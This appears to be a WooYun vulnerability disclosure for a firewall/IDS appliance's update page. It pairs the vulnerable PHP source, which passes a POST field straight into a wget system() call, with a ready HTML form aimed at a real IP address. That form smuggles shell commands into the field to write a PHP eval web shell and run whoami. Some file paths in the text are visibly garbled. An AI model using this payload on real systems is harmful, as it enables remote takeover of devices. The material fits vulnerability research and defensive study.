WooYun.org

<form action="https://221.202.118.50/admin/ids/waf_update.php" method="post">
<input type="hidden" name="uptype" value="1">
<input type="hidden" name="sys_path" value="http://update.cisco.com/tmp.bin -O /datahttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/__ids_up__.bin || echo '<? eval($_POST[cmd])?>' >/ssl/www/bug2.php ||whoami ">
<input type="submit" name="Submit">
</form>

include_once "management/system.php";
include_once "management/ids.php";
$uptype =1;
if ($_FILES['ids_file'] || isset($_POST["sys_path"])) {
	$uptype = $_POST["uptype"];
	if($_POST["uptype"] == 2){
		$file_size = $_FILES['ids_file']['size'];
		$file_type = $_FILES['ids_file']['type'];	
		$temp_name = $_FILES['ids_file']['tmp_name'];
		$file_name = $_FILES['ids_file']['name'];
		$file_name = str_replace("\\","",$file_name);
		$file_name = str_replace("'","",$file_name);
		$file_name = str_replace(" ","",$file_name);
		$file_path = $CFG_UPLOAD_PATH."__ids_up__.bin";
		//File Name Check
		if ( $file_name == "" ) { 
			echo "Invalid File Name Specified";
			return;
		}
		$result = move_uploaded_file($temp_name, $file_path);
	}else{
		$file_path = "/datahttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/__ids_up__.bin";
		$url = trim($_POST["sys_path"]);
		$url ="http://".$url;
		system("wget -t 3 $url -O $file_path ");	
	}
	$SM = new IDSManager;
	$V = $SM->snort_update($ticket,$file_path);
}